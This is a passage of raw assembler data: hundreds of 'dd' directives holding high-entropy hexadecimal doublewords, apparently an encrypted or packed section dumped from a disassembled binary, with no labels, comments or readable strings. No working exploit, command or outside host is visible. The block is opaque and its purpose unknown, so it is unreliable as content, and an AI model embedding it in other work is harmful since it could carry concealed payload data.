0DBF4F1E7h, 604B3DFCh, 3FAB23FCh, 447261B2h, 0BE552FA2h dd 0D550608Eh, 8A17D382h, 716CD44h, 0CE9AA4EEh, 9913A44Dh dd 0FCCD8EFFh, 672FE458h, 3BA139E0h, 0C4A0640Bh, 9E34C136h dd 84CABA24h, 9EC34164h, 0BD1DF5F4h, 213473D6h, 0DBE109A4h dd 0CF3560DEh, 3560CDFFh, 1B914512h, 5DC6CC6Fh, 0B0CD2BFAh dd 0C5733954h, 3AE61254h, 0B4EAD092h, 0C4582AFFh, 0B8AE9D51h dd 0BC9475E1h, 2DD7E258h, 182751E0h, 648083A0h, 21704738h dd 149B63A9h, 0EB875CE4h, 82045C4h, 8606AE29h, 7E80B49Ah dd 6F0FF53Ch, 0C4946866h, 0C2923AC2h, 0D6C07DCAh, 0CE947ADBh dd 252491F9h, 0FCBC03F4h, 0F4B29D92h, 460C70BDh, 7F3C7082h dd 6A7B208Ah, 0D06A4FBAh, 0B6F7FAAAh, 459266FCh, 98833D42h dd 372E5072h, 46C1757Ah, 0DCA27DDEh, 0C520779Bh, 0CBBFD642h dd 0F8E1F99Ch, 0F844B537h, 679A1D3Fh, 0BA2CE146h, 5BCCDC4h dd 6A80A82Ah, 3530F8DCh, 50961ACh, 1FC20577h, 7EAA8DECh dd 96246E4h, 0AF3583ECh, 0DFAB00E4h, 64B1D68Ah, 7C5C8D64h dd 0C3ECA371h, 9760F57Ch, 0CEA1BE97h, 0C3EE8F3Fh, 18609ACFh dd 0C4A3ACD4h, 0D0E02722h, 21AC4D29h, 45A0CD66h, 3F0FB028h dd 0F4FDD99Ch, 3F98A0C9h, 0C55FB14h, 0CA563A9Ch, 0A55274B8h dd 0B475BE6Bh, 80960CE4h, 3382E60Ah, 0DA2CEE39h, 38AFF479h dd 45A23BC1h, 98D53D14h, 0C8C49704h, 9B78E62Eh, 316C407Fh dd 6F0C5388h, 0BF06F46Bh, 653721F6h, 0FA68CCE6h, 0FEE0E5E4h dd 19CD80C6h, 2AF90C1Ch, 387C5CA4h, 399523DDh, 6A8E27DCh dd 0F70474D7h, 594F308h, 9331B64h, 0EEDC7E13h, 0D49CFD1Eh dd 52BD0208h, 0F70CBEC1h dd 1B34821Eh, 0C8D6CC85h, 0D406473Ch, 0E1EE7500h, 0F13D4407h dd 0FCBCBC09h, 1864E2CAh, 0B4F43D10h, 0FD22654Fh, 0B10544BCh dd 9EA11DFCh, 33054F5Dh, 7F2C75E4h, 3AD0D5AAh, 0D71C5D12h dd 0E5E4E33Eh, 1736A390h, 0BF2A83FFh, 0DAAC41D2h, 4EAC680Ah dd 4294F504h, 0D8FA652Ah, 0CF494E7h, 49A1A699h, 3BAB7984h dd 0CF62804h, 302F3683h, 6463E703h, 0A62DA754h, 0A4DFDA9Dh dd 79D4DFBCh, 5AC4F678h, 71E76964h, 1FD59764h, 3FA0B1E4h dd 47CE77Dh, 0FD68E814h, 24ACE41Ch, 0DCF4F90Eh, 3EA0F52Dh dd 54B6203Ch, 7835D92Ch, 38B87D08h, 15E71541h, 3A2FCDC4h dd 0A1BC778Bh, 7BB52FCFh, 4D43A64h, 0A5C1C164h, 0C39D47E6h dd 0A6AD157Ch, 0D42D320Bh, 0FF3EA049h, 0BAC0EDE1h, 38C08DC5h dd 873D87CEh, 0CDD39B2Eh, 632F4684h, 1E375F7h, 0FF0CA044h dd 66C1B3E1h, 19EF52E4h, 37327CAAh, 0C22D2E0Bh, 0FF21A0DBh dd 27C15FCFh, 1B3B7EE4h, 0D4306737h, 0DB2EA154h, 0D77249F8h dd 2E5894A6h, 53312577h, 7E425F3Ah, 0FC94727Bh, 0B8C1D887h dd 0BC4766F3h, 19527D2Ch, 5EAD197Ch, 8EE63D30h, 0DB2F712Eh dd 383D5B6Ah, 0CCADC4BCh, 1A07E4D0h, 3726BDF2h, 5EA1BBFBh dd 35346544h, 645A33D2h, 40C40BFFh, 27AF779Ah, 0A5B5A56Bh dd 0D8F7BDDAh, 7CED792Bh, 18648FC2h, 0ACE1CE1Ah, 9A09003Ch dd 0D5445E41h, 0D1DC71FAh, 0F46EC3C9h, 5735A13Fh, 7F8F7DE0h dd 0BF346504h, 5EF88364h, 0C48F46ECh, 0DBB5789Ch, 0F706CA48h dd 6F604E0Dh, 82361A64h, 8624B132h, 0C1E47DFFh, 5D8FF428h dd 9F2D45D7h, 17CADEF7h, 0BA8AA86h, 0AA067D51h, 0A2526664h dd 0BC84746Bh, 0DCB52174h, 71B583B9h, 0BB3F93A6h, 7EC65954h dd 12F0D514h, 0A54EDE4h, 2F75E4Ah, 45E666E4h, 4708B5D6h dd 0FC8D569Ch, 0D324A478h, 0DAA066B8h, 3D027BF8h, 0DF7A1746h dd 61F905FFh, 0B535EFECh, 0F6E8077Fh, 1E251447h, 11E11D18h dd 0D878A9C9h, 38A063E4h, 630B5BB4h, 0DA85FB4Ch, 79927D40h dd 61359504h, 90E0A2A4h, 0D53AFBCEh, 3E00AB1h, 7FE47E28h dd 224650FCh, 7F3B46F0h, 0C12D94F8h, 0BCF8476Dh, 0C44C9799h dd 0BF2BB954h, 0F5EC7493h, 95DB2835h, 0C65FDFE1h, 0FBE46DAAh dd 75E7AB0Ch, 0C4A865E7h, 642C6794h, 4A566267h, 802506F8h dd 0CC2A23F6h, 0C4184A6Ch, 0CB1CE7C1h, 1AFACC28h, 0D7427DFFh dd 0C89B757Ch, 0C3388FA6h, 5C206C08h, 0C8BDA6CCh, 0C33655C7h dd 96156F60h, 0D1C2614Ah, 0D4CDE417h, 41157508h, 0D3C97DF9h dd 1C1759E9h, 0DA67E4F2h, 0DA32E7h, 35BD7F6Fh, 49807C58h dd 0D78C772Fh, 0AE0D73F9h, 0F82ECA2Bh, 68BDFC9Bh, 7DB1093Fh dd 9F686910h, 38AA84BFh, 3D6AA092h, 7B34F12Fh, 0DCC072BFh dd 0FBAED5B0h, 0BB37A3FCh, 0CF3C6EDFh, 0C43A437Eh, 0F9AA67C6h dd 0A40FF97Fh, 0DC20F744h, 0FF34705Dh, 46C6504h, 0C46ED6A5h dd 0BB395F29h, 0CF3559DFh, 0DDC4E316h, 45E46EE8h, 0CE35EAFCh dd 683CFB6Bh, 0FF1C974Ch, 0F272056h, 0D8B56A2Fh, 0DAE0B923h dd 7B09B262h, 0C8E315D0h, 79346F8Eh, 1ECD3624h, 0FB5B944Fh dd 0C4C649D9h, 0CF2CB93Ch, 23551952h, 5C284130h, 0FC286620h dd 71936F4h, 84140428h, 2C5549C4h, 0B2DC66B9h, 0A0EC648Bh dd 6CA2461Fh, 0CA25846Ch, 0F5356761h, 7C27F328h, 0F804754Fh dd 0BE3D9679h, 827099F7h, 0E4EC2B20h, 0FEAD0EC9h, 7F30C21Eh dd 3B3566AAh, 0FEAE55E8h, 3B354B3Ch, 0FFADB9EAh, 0FF00AFFEh dd 0FDB59D24h, 0C2E093CEh, 0C52FFC68h, 3F28617Eh, 0D529F44Ch dd 0B32A4142h, 0BD367A67h, 8CEC75C8h, 9906747Fh, 7D507728h dd 6A2674F9h, 0C70071EEh, 0D6B57024h, 20E073CEh, 0C51EFCF5h dd 3CEC61F4h, 0DAF2F4F7h, 0D3C041F6h, 0D3369767h, 0D1EC85C8h dd 0D106FB7Fh, 7C3BE928h, 0DB047746h, 4405BD54h, 3B0666AAh dd 9AAD61B8h, 0E70061FEh, 0F6B56024h, 0C30463CEh, 0CD034118h dd 3F335D67h, 29065C7Fh, 7DE05F28h, 0D8F677C1h, 45C4BDC0h dd 38CA67C3h, 27AD89C2h, 2700FFFEh, 25B5ED24h, 2AE0E3CEh dd 0C517FC58h, 3F1060AEh, 0D511F7BCh, 0E31240B2h, 0ED365267h dd 0FCE04DC8h, 441D7D1Bh, 3B1E67FAh, 2AAD4EC8h, 3028FDF8h dd 853FCD67h, 0D4A18106h, 0F5FC671Ah, 0D77315CEh, 34E15DCCh dd 24E7B11Eh, 0CF0707CEh, 0D0D497B5h, 3CB58214h, 7C83E550h dd 0A30C8D7Bh, 39FCE2ACh, 8A0801A4h, 954D2CA8h, 0E54B6C9Fh dd 0CC5608F4h, 0CD3B7E1h, 54E702CEh, 6F405898h, 10ED1462h dd 143D1439h, 0E5CB6C9Fh, 0CC5588F4h, 0F0B58261h, 0F8AEC490h dd 84D73DE4h, 97392DD7h, 0DB4C4262h, 885CF79Ch, 0DA2C47FBh dd 0BF34F4E4h, 650521F4h, 0CB144CC4h, 591CE4A4h, 0FCE440E4h dd 0CAC7440h, 0D3170FB4h, 6CF68480h, 8AC5CC4h, 0F506F57Fh dd 0DC34ED39h, 5CB57D4Ch, 0AC40D4A4h, 0B4AE7138h, 3C6CA1E4h dd 7874F0E7h, 0C0AC79A4h, 0E8A308B7h, 0DC008C3Eh, 0CEB57DE1h dd 59056D2Ch, 3F0840E4h, 0C482527Ch, 7C224728h, 0F2CB923h dd 1A367D67h, 0CACA6577h, 0FC505AE6h, 474080A4h, 581DEF1Eh dd 2C82D5F0h, 7C35CE28h, 842CB8AAh, 90F76D4Ah, 0A54367E4h dd 0C45670B8h, 152D0BA6h, 88488FE4h, 0C4807614h, 0DA2C6B39h dd 0BF10F4C7h, 3970D92Dh, 82C5726h, 6238A5D7h, 0DAD24162h dd 43388467h, 0DBB34262h, 0BC89F44Eh, 6A602154h, 0D07D4FA2h dd 0E7E3FA88h, 0F9AD0FC9h, 0B34C111h, 4415FD5Ch, 7070860h dd 73E2CC84h, 0C8F8D5D0h, 0D37FA88Fh, 1B150E66h, 41A8489Ch dd 25D8548Eh, 392CB9D1h, 0FA1C0166h, 0A5DAC924h, 86D8A05Ch dd 185C5E6Ch, 0DCEFF537h, 9A784314h, 0ACA0CC5Ch, 3CAD07F0h dd 846C5536h, 10F52988h, 60FE23D0h, 1A3C147Dh, 15610910h dd 0C53C88E5h, 3040529Fh, 47C0ACF3h, 0E0C776C4h, 60BCC0D9h dd 0BB1314D1h, 0B71D1412h, 4635BABDh, 16AB743Ah, 0C5CDFAFFh dd 4635917Dh, 42AB746Dh, 0C5B1FAFFh, 4635E57Dh, 0AEAB7441h dd 0C565FAFFh, 4636397Dh, 9AAB77B5h, 0C549FAFFh, 7B360D7Dh dd 0C6C78BE9h, 4C3DA6A8h, 263861E4h, 0DA1E4262h, 0BCF4F42Bh dd 6AC32131h, 0CAD84C1Fh, 28A360C4h, 452CA7FCh, 51EE5EC8h dd 0BB2C9DFCh, 4B0ABD44h, 0FC757559h, 25B5CB64h, 5A353CC7h dd 0DA7074E4h, 0C47BB6D8h, 9D067D2Ah, 5E515228h, 552CF9FCh dd 4D64AC27h, 0C63A74E1h, 31E073CEh, 4334E3CFh, 370841E4h dd 0C4E95267h, 43E67DF4h, 0C4E9BEB8h, 0C607D04h, 1BB04324h dd 7F2D34FCh, 0DDEDF402h, 0FC877517h, 30681FFh, 3934FA39h dd 38BE67E4h, 0C482E03Dh, 0A4E07D60h, 0CA9FFC3Eh, 3C626139h dd 0DA75F438h, 0DA78403Bh, 3BF366B4h, 0F4081114h, 3B0CE88Ch dd 0C0758952h, 0C6FAF5FFh, 1B04CDC1h, 1A9E41F0h, 98A229D4h dd 0DA2796ACh, 0CF1725B8h, 0DCB07C58h, 2B62C0EFh, 0DCE811CCh dd 0A5A4C1C0h, 9738C690h, 0DC4471D5h, 0AF13415Eh, 0D13884C7h dd 0BF5059F5h, 0A4B8FECDh, 0E44499C9h, 0C9A3842Ch, 719DA144h dd 0F5C52158h, 49E4D80Eh, 0F8A5CDD8h, 0A043C28Ch, 48C835CDh dd 0D19D15F6h, 0A6462734h, 941C7DF5h, 25565D1Fh, 0C5042724h dd 4230976Ch, 0FD30F3D7h, 9854E4D4h, 95A441E8h, 84AE694Dh dd 6A7FA128h, 0C7554F8Ah, 0D45CC1C9h, 87F4D16Eh, 53012BFFh dd 47467D1Ch, 45A6B4AEh, 0A546ADCCh, 30EFA56Ch, 745C41C9h dd 877CF46Eh, 0F792764h, 5F0DED4Ch, 3A94F4E4h, 3B9C4888h dd 0EEC8DD66h, 0E06D2529h dd 0A8A024B2h, 91363A64h, 0D43A99C7h, 9A30C7CFh, 7BF47D2Dh dd 4147AD1Ch, 73D694A8h, 0FCE883D7h, 50DCFB7Fh, 0E307375h dd 8496916Ch, 0D07F5177h, 1268FCEEh, 7B362910h, 27307E7Dh dd 441C094Eh, 2F2C45DCh, 30E44262h, 943CBD24h, 7D0421C0h dd 73C0911Ch, 7EAE6938h, 6AB5A1E4h, 0D0834C70h, 0B1F7FB5Eh dd 392C6708h, 1CC7111Ch, 0F3B8CF9Ch, 3C224520h, 0C5ABC16Bh dd 0D0C539F9h, 0E4036C9Fh, 0CC5557F4h, 3F3D14D3h, 0E5F76C9Fh dd 0CC55ABF4h, 6B3D1407h, 0C1B4AC9Fh, 8A042D67h, 780760A6h dd 0DBB0B350h, 0FC6CF0ACh, 8C4234A4h, 0D522A9DEh, 4F42000h dd 0D70547A6h, 0B0D7DF2h, 0CB0775F2h, 0D46C7DF4h, 8F55C88h dd 3F5AC564h, 56FC663Ch, 6474590Ch, 98B423F8h, 3EF44D6Ah dd 1B17108Ah, 1F385F44h, 49CA1E4h, 3D644904h, 0CC6CFF4Ch dd 0DAE3505h, 77DCA010h, 7FED9568h, 0D1002BF8h, 0D13A66F9h dd 0DC3AA9C7h, 0DB136BC9h, 7CE23D90h, 0BFACB1A5h, 6763FD0Fh dd 7CD9C264h, 0BFACF9A5h, 10C2FE77h, 6CA8E214h, 0BBDCF95Bh dd 40758D60h, 0BA92A14h, 0E8077C83h, 0F961087Fh, 2C29A764h dd 413969FBh, 20076025h, 316C507Fh, 1D64388h, 1038B0D7h dd 0DBC14262h, 0AD1F403h, 39006728h, 0C7B10B8h, 3E1CFCA6h dd 1314FF94h, 6CA8FCE9h, 0CDDCF9E2h, 43038D60h, 0F1A85014h dd 9AF5578Eh, 2546AADFh, 72162703h, 7C5B518Eh, 0BFBCEDA5h dd 0AB63FD4Bh, 7D65C264h, 24C72D1Fh, 0D4666D84h, 950F5466h dd 312D15Fh, 0FC8244FCh, 0E07B925h, 616CA77Fh, 7BD68C88h dd 46EE7CC8h, 2ABDA0FCh, 0A61DE1E4h, 0C6ADCFF0h, 8A1DC0FEh dd 3FAB24F0h, 7C5E6180h, 0CB60FEE4h, 0F40C6B1Eh, 0BF2C5CF8h dd 6AE721D8h, 3F3E613Ch, 0DC3FF431h, 65B56D0Ah, 70F768CEh dd 38A367FCh, 0BAAF7CDh, 5F077D73h, 0B66CD67Fh, 0D9ED3F88h dd 0D907317Fh, 6F3D2A39h, 0F5395D67h, 0FCBE1FEFh, 210F769Bh dd 205DF9E7h, 7B357E71h, 0CCBE5B1Eh, 25327DEBh, 240064F4h dd 18345926h, 352C57D5h, 1EC51C8h, 0F0D507Fh, 3CE1C9FCh dd 98AD4C80h, 0C0A811E6h, 0F0A90145h, 2F4F27ECh, 0A40C65F8h dd 7F381EF4h, 6F25E52Ch, 3B17EA24h, 0B8FAA1A8h, 1B609C09h dd 7486C118h, 764F44A8h, 45F0E5C7h, 98903D44h, 2D6D9752h dd 4B0775B8h, 16914696h, 1B2D3D48h, 2C3C97FCh, 410C69CCh dd 2F075525h, 3C6C457Fh, 0C2E0914Ch, 194DFB84h, 42AA779Ch dd 74C14514h, 2DAC7DDEh, 42BC697Ch, 54F754A8h, 0FC8C5CFCh dd 0AC6CD57Fh, 0B4E1894Ah, 0D86C75DEh, 0A074BDE1h, 6A7C40DCh dd 17067B74h, 0E73D2380h, 6CA8FAF4h, 6424D1FCh, 4AE6980h dd 30FCA1DCh, 954943C0h, 3B17FA1Ch, 890CA966h, 0DAFCF539h dd 57088474h, 0B54B88Eh, 0AA067D41h, 7D9F0128h, 0B86776EBh dd 7860788Eh, 0E70D8A83h, 0B85FF430h, 0C5C7F5EAh, 8290E6ABh dd 0DB52408Ch, 23AF52Ch, 0BCF274C9h, 0E1008D0Fh, 8B4C17Dh dd 30C12A84h, 414A9D1Ch, 0D0B4D4AEh, 0A50CED3Ah, 0B4E26ABCh dd 0B89E149Eh, 0DBA4B594h, 44348C84h, 0CCDC6948h, 0DBDD1140h dd 0CCFC0158h, 461F59Dh, 2DFC49DEh, 0B077A0Ch, 5FB58494h dd 0E7B47CBCh, 1884B1B0h, 442CDDC7h, 0CA983A5Ch, 0A79CF1D4h dd 2A44A000h, 5C9E1DD8h, 0CF07739Ch, 1C7DC394h, 0FF3CF6AFh dd 0F30F7A9Fh, 45152D38h, 431F8D60h, 0F0834314h, 0F054B5E4h dd 0DA189539h, 3AA4F414h, 0BAC497Ch, 38A8FEB8h, 0DB94BD9Ah dd 0BC64F454h, 0D6A0E7A4h, 4E163BCh, 0AFE8B252h, 0FCC7F6E8h dd 0BB37A1A8h, 2C616B09h, 0E5E3697Ch, 38BD448Eh, 0E5F46924h dd 14A075C9h, 4A02859Fh, 0E5B895E0h, 2BB4C063h, 8660ED08h dd 246059B0h, 0AF38D537h, 0B050F465h, 93F3FABCh, 9A4267A8h dd 0FCE417C8h, 14D4F1FCh, 2461FB9Eh, 41AC5DC0h, 2FF7B488h dd 1B63FD30h, 66B05467h, 0A4F3688Eh, 23B51778h, 0FF3DF9F6h dd 5CE0B94Ch, 0A4707466h, 0B5C988Eh, 0B7186554h, 0E8D45926h dd 6A511725h, 0FA1D0D4Ch, 0C5DCF97Bh, 0D7DCA948h, 4B098D60h dd 421F9DA0h, 3DDC64AAh, 40F38D60h, 6CA8A014h, 75DCF919h dd 40AB8D60h, 6CA8E814h, 0ADDCF941h, 0B6638D60h, 7C71A210h dd 0DA821A5h, 0DB55EAB4h, 0FF000AF2h, 0D363F3E3h, 7F0DC264h dd 0BFAC4DA5h, 0B63FD2Bh, 0D3610966h, 8357B525h, 84749925h dd 6F14E17Ah, 0D128F1B4h, 0E43A6189h, 0DB5B6BC9h, 0BFB378E4h dd 0DD63FDF1h, 7F13C264h, 0BFAC43A5h, 1563FD39h, 7CCBC264h dd 0BFAC8BA5h, 4D63FD61h, 7C83C264h, 0BFACD3A5h, 8563FCA9h dd 7C7BC264h, 0BFAD1BA5h, 0FD66FC91h, 7C835674h, 0BFAC63A5h dd 10D4FDD9h, 0A454FD98h, 0BA44EC74h, 0FF1C1004h, 9363ECBCh dd 7C42C264h, 2BAE10A5h, 25BE27D8h, 0D11627FCh, 9508578Eh dd 25464FDFh, 9162724h, 9AC0578Eh, 254697DFh, 4116276Ch dd 9AB8578Eh, 2546DFDFh, 0B9162754h, 9A70578Eh, 254727DFh dd 0F116269Ch, 4D28548Eh, 433E8D60h, 6CA85D14h, 1F88CBDAh dd 0A63FD28h, 513D3461h, 613A660Ch, 27D86BC9h, 9AAED977h dd 4C7CEC35h, 9A82578Eh, 2546D1DFh, 871626AEh, 9A7A578Eh dd 254719DFh, 0FF152696h, 0CEDCF971h, 43008D60h, 6CA85714h dd 6DCF92Ch, 40F88D60h, 6CA89F14h, 7EDCF914h, 40B08D60h dd 6CA8E714h, 0B6DCF95Ch, 40688D60h, 6CA92F14h, 0EEDCF884h dd 53206660h, 0B50577F2h, 653C107Ch, 705F77AEh, 461CB8D0h dd 0D5AB74FAh, 0C43CFEFEh, 45D0DA4h, 13E3414Ah, 65B5A3C9h dd 77AB8924h, 0CBA9FAFFh, 0C33574A1h, 5E650C94h, 0DB6A4238h dd 4C4EF0B0h, 3899A49Eh, 0BFBA6564h, 2E63FDC1h, 42E5C264h dd 7DEBC274h, 58B230ABh, 46A51920h, 4907FE25h, 0A76CE47Fh dd 0B8041517h, 88AAEA8Ch, 0AD5D49FFh, 0DCEEE5AFh, 0D4DDA1C9h dd 6DA866FDh, 4496702Ch, 0D64E914h, 0BF14AF58h, 4D8211Ch dd 0EA24930h, 3CB54898h, 0ED412468h, 3864FFCDh, 8ED73E08h dd 0C43424D7h, 0C45D0FC4h, 0D218E52Ah, 3902492Ah, 70ED54D0h dd 1A374A7Dh, 2C60B80Ch, 18F0DA00h, 2DAA976Ch, 0E58E6970h dd 0B707ED22h, 0E2392497h, 70524262h, 0C618E42Ah, 0F8457120h dd 34A06591h, 9AB8E84Fh, 0C56B5938h, 676CB8BCh, 0B83BB517h dd 0F497E44Ch, 0A790E64h, 0B86C5CACh, 0BC4441B2h, 99952A80h dd 98B959h, 0F331240Ch, 2714FFF1h, 0BDF24E08h, 0E8962698h dd 78EC273Fh, 0F05841E4h, 508685C3h, 18C8F8ECh, 568F974Ch dd 0EA944370h, 3EFCF2BCh, 4E55168Ch, 0F02C66C4h, 5387751Ch dd 74F7C8A8h, 89145566h, 0D08745DDh, 180CF8ECh, 6FFC570Ch dd 763A59C4h, 0DBC073DDh, 54560864h, 0BB07A121h, 0B7393D17h dd 97E07D4Ah, 9A43FCEEh, 0E331DD25h, 1351900h, 951D2C48h dd 7CD3C1D1h, 207A779Dh, 0F11494A8h, 58C4C77Dh, 25469EDFh dd 7416271Ah, 6F11388Eh, 0D13CCE60h, 0E8BD6275h, 5D2CB94Dh dd 0DB914262h, 0BC6AF7A9h, 6A4C20B7h, 0D0594F9Eh, 0DB8143E4h dd 0BF05F4FAh, 651F21C0h, 0D0F44C2Bh, 1DE3FB32h, 77B591C9h dd 0CD07112Eh, 4650812Ah, 0E0823E6Ch, 593914D4h, 442A8D60h dd 0F7ACC770h, 59147F2Dh, 7D1C42CCh, 0BC75BA28h, 0D7688C22h dd 6C4094A4h, 411D861Eh, 4DA866FBh, 0B880A1A8h, 0C71D2562h dd 847D41C9h, 467CB120h, 0E1002625h, 0C47A0C7Fh, 37C12745h dd 0A5835567h, 0FCE84E04h, 6862FF2Ah, 10F0BC9Fh, 1FF6754Ah dd 0F69D3D38h, 4F07F525h dd 7B08E572h, 0A625791Ch, 6A6441D0h, 744FA4h, 6CAB2DE4h dd 0D5CF08Ch, 90E8AB24h, 6C52DDFEh, 0A317D014h, 0E7AC8DA8h dd 6F032BFFh, 0C71654ABh, 372CECD4h, 3FAABDF0h, 78FC673Ch dd 4B284168h, 22201863h, 80A71172h, 0C09E4784h, 20504D35h dd 87E047EEh, 4D05EAF0h, 0A46375D0h, 0A34124A4h, 0A9185D3Ch dd 0B5ABD927h, 8098A7FEh, 0D0737D77h, 0E1E3FA8Eh, 219B0DC9h dd 42A8A047h, 0F740718h, 8B8D45E7h, 20EE4960h, 384F1950h dd 5DC4A763h, 63DC4D20h, 98ED51h, 0A33926FCh, 5D847712h dd 0FB460550h, 0B731A15Bh, 6D683D78h, 0BF14AF6Ch, 2F5D239Ch dd 1A8E01E4h, 3F2761E4h, 0DC20F4FCh, 0D4B56DF4h, 0DCE003CEh dd 0D314FCE5h, 0C52DFCD4h, 3F2E612Ch, 3CF52124h, 0DAFCF4E0h dd 0DAC442E3h, 672B4104h, 6CE0754Ah, 0D0A4FCFFh, 0C537FC64h dd 4F2CEC7Ch, 0CE7467F8h, 2D33D5C8h, 0A24480E4h, 0F8460544h dd 0C4667D23h, 390CF141h, 0DDE51754h, 6F607971h, 1E2D1D64h dd 4F38FE0Ch, 0E42125C9h, 4210B96Ch, 55E37D4Ah, 0AFB5D9C9h dd 8140C6A4h, 9A1E2D1Eh, 6CAB1BF0h, 0D441EA7Ah, 0B7025972h dd 0A3147E35h, 6F611DD1h, 91361A64h, 767439C7h, 0D514C9h dd 0FC828ED8h, 42078625h, 536CF67Fh, 0A6D6E288h, 0B138D3D7h dd 0DB624262h, 0BC7DF7BFh, 6A4E208Fh, 0D0584F9Fh, 0DB8943E8h dd 0BF30F4E0h, 0C568E4F0h, 5C49FBh, 17351B2Ch, 0FE752443h dd 0A1A481F1h, 8046CCB3h, 0B3B78CB0h, 0DBBA6B68h, 300DCF2h dd 46230D1Ch, 31734ABh, 0D0474FB4h, 0EDE7FA82h, 712340A8h dd 308A65FAh, 0BAA902ECh, 403ADB2Ch, 30C4A1C4h, 7440FB8Ch dd 0D3477DD0h, 24DDE564h, 6D653DF1h, 946C6E34h, 933F8517h dd 5C46DAFCh, 3704F4D5h, 0DE555DEFh, 39174960h, 30E24BD0h dd 0D717BF27h, 0CC56C138h, 712D34A8h, 45F085C7h, 98B03D64h dd 2D8D9772h, 0DB357A58h, 46450DE7h, 0E9191D25h, 6CF85921h dd 0D4C6495Dh, 950F545Ch, 684653DFh, 1B2D3DFCh, 2DF39720h dd 0D822770Eh, 6F345703h, 7BEC7DC8h, 0C2ECFA88h, 586CEC7Fh dd 0A606797Fh, 7D9E7828h, 0D86177E2h, 0FC74BFFDh, 9ED72E08h dd 0F33914D7h, 0A4236062h, 0AB05017Ah, 170629E7h, 0C2B0C75Fh dd 0DCA471D5h, 4713C95Eh, 2F41174Ch, 0C055C57Ch, 94AC6EE1h dd 8A3F5117h, 7B6644BDh, 7F314745h, 10D57E00h, 9AD8579Eh dd 0E4FC64CDh, 0B8A1DD3Fh, 469048A8h, 0D4563129h, 6F18A25Eh dd 0B3148D60h, 76A896ECh, 2C96A5FEh, 0C0E2BDF8h, 0DCB2848Eh dd 5456952Ah, 0EABC43F2h, 0D35D6AACh, 9CDE24A4h, 0AA3729F1h dd 0DBBA5C87h, 46DC4250h, 8466B9Fh, 0D62994ECh, 1810B566h dd 1A2C5731h, 6A389ED7h, 0DBDA4262h, 0BCAAF46Ah, 6A86217Ah dd 0D0954C47h, 0B8E1FB50h, 8318D5DEh, 0FC705C2Ah, 986D297Fh dd 0CAED1888h, 0CA07117Fh, 1C3D0939h, 0D594E9FCh, 0DF787808h dd 7C97D12Ch, 0B860D6ABh, 0C5CA7B28h, 63AED10Ch, 0D3D0ACDCh dd 4690F4A8h, 0DC805E50h, 7CF8D537h, 80B58254h, 24833550h dd 0DA2D2E39h, 0BC55F78Ah, 0A82C2690h, 0D03877DFh, 0D50C4262h dd 9EACC9D9h, 0F5A22790h, 4662813h, 0C9664405h, 70C5B50Dh dd 1BD0A71Eh, 19DCA11Ah, 1FD8A316h, 1DDA9D12h, 63DA9F12h dd 61DA9912h, 67DA9B12h, 65DA9512h, 6BDA9712h, 69DA9112h dd 6FDA9312h, 6DDA8D12h, 35DA8F12h, 3BDA4712h, 39DA4112h dd 3FDA4312h, 3DDABD12h, 3DABF12h, 1DAB912h, 7DABB12h dd 5DAB512h, 0BDAB712h, 9DAB112h, 0FDAB312h, 0DDAAD12h dd 0D5DAAF12h, 0DBDA4A12h, 0D9DA6112h, 0DEDAAB12h, 0DCDA5F12h dd 17DA5C12h, 13DA5E12h, 11DAA512h, 25DA5512h, 2BDA5712h dd 29DA5112h, 2FDA5312h, 2DDA4D12h, 26DA6512h, 21DAA912h dd 32DA5A12h, 34D46712h, 7CD8946Bh, 3ED760E7h, 0C00E03CCh dd 0CF5171E6h, 74CB5B89h, 0EED0A002h, 15CC6819h, 0D7510B1Eh dd 57CD9808h, 0F00BA8C8h, 0D67A994Ch, 84E48CFBh, 64CDE5C8h dd 1F06E009h, 17C0B4CCh, 473847F2h, 4026DCD6h, 74B3F630h dd 2FC29A39h, 95E39218h, 93C79C23h, 0D1DE9189h, 39E8BAF8h dd 0FDEAF830h, 25C18C80h, 18CA9009h, 269BB6D6h, 3CF06400h dd 0EFD29000h, 0EDF93A8Dh, 72D7123h, 3A1B37E9h, 0DFE779CFh dd 0AE36A1C7h, 8FD522EEh, 1C9F7D02h, 0CCEC484Fh, 2FD49029h dd 3EF5A15Bh, 61F07C04h, 70C46F8h, 2A703Bh, 0F00A8F24h dd 0EC9A020h, 352BDD17h, 0CC21E6DDh, 0D6F7BACAh, 0B00B6435h dd 0DB0CD655h, 23224AC2h, 1DD1476Bh, 0DDE07800h, 6886EAD0h dd 9C198E6h, 67C72511h, 9164E314h, 0A25252D6h, 0F4108F5Ah dd 0FCFFE1A0h, 3628DC33h, 25380754h, 0D517A9DCh, 5F4ADD4h dd 350FE0h, 2F1D852Bh, 8C0697Eh, 202550FFh, 3FCDA40Eh dd 6005FCF4h, 1C79319h, 78A71682h, 28E6A408h, 0B0BABDDDh dd 1F93A72Dh, 0F82CF857h, 0BC3571Ah, 0BF1CEFC6h, 1D2CA39Ah dd 0C252E6F3h, 2A2F3AF8h, 9EAC5446h, 61445101h, 26CC9A8Ah dd 0CE8D7545h, 60FFA8ECh, 6317B8D8h, 1D3D7B1Eh, 2CCCA0D7h dd 55453405h, 6FA9550Ah, 9DE20106h, 2BDC61EBh, 6DF04F30h dd 0DA2E3F0Ah, 7A2C6527h, 0C4879DE7h, 2E1545DCh, 0D4BF4DDEh dd 640A92E5h, 92F9564Bh, 2ACBA1A7h, 0FA753211h, 360A7D64h dd 4EF244D9h, 6B4E909h, 9BE49B1Dh, 632E690Dh, 0CA6EA21Dh dd 346D550Dh, 18CC9119h, 0F0452Bh, 160C4C1Dh, 0B9D72286h dd 31C19D98h, 0B727DDCBh, 60C593F3h, 0DB00E608h, 7ED0A6E0h dd 30F0B9D0h, 1AD196E2h, 9EE8486Dh, 0E800DB6Dh, 80E89397h dd 5669DECBh, 4BD78830h, 52196948h, 78B879CEh, 82938241h dd 31F9F7E6h, 5F387FACh, 1B0E3CF7h, 26055D33h, 0DD225D78h dd 1B525DC7h, 0CFD70CA0h, 32421408h, 4ED41B4Dh, 300CB701h dd 53C7C79h, 256295FEh, 25EEEA6Eh, 1DC2A62Ch, 0B1F0F93h dd 7BD1F1E6h, 28DF8C3Eh, 0EB185C20h, 66D1512Fh, 0C520A70Fh dd 284B61DEh, 0D5045831h, 0C731B476h, 3BE004FEh, 0A39648Eh dd 5F52BB2Bh, 0DDCD43EAh, 123D59EFh, 10BEA8D7h, 8EC6202Ah dd 6674FF1Dh, 6CBBE5C5h, 26E79350h, 0ED3AA2A6h, 15CB69FAh dd 0ADACB0D1h, 150065E6h, 0D4F74964h, 0DAB588BFh, 52DCF1B8h dd 4C0082A0h, 3CBA3DD4h, 86F44E57h, 2D3FCC02h, 85F87138h 